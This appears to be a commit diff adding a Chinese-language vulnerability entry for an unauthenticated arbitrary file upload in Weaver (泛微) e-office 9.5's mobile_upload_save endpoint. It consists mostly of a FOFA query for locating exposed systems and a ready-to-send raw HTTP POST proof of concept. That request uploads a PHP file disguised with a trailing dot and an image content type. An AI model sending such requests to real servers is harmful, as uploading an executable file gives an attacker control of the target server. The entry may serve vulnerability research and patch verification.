6.14更新漏洞

泛微e-office-mobile_upload_save存在任意文件上传漏洞.md

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+## 泛微e-office-mobile_upload_save存在任意文件上传漏洞
+
+ 泛微e-office 9.5版本，源文件 App/Ajax/ajax.php?action=mobile_upload_save 的一些未知功能存在问题。 参数 upload_quwan 的操作导致不受限制的上传，未经身份验证的恶意攻击者通过上传恶意文件，从而获取目标服务器的控制权限。
+
+## fofa
+
+```
+app="泛微-EOffice"
+```
+
+## poc
+
+```
+POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
+Host: your-ip
+Content-Length: 352
+Cache-Control: max-age=0
+Upgrade-Insecure-Requests: 1
+Origin: null
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
+Connection: close
+ 
+------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
+Content-Disposition: form-data; name="upload_quwan"; filename="1.php."
+Content-Type: image/jpeg
+ 
+<?php phpinfo();?>
+------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
+Content-Disposition: form-data; name="file"; filename=""
+Content-Type: application/octet-stream
+ 
+ 
+------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--
+```
+
+![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406131040611.png)
+
+![img](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202406131040672.png)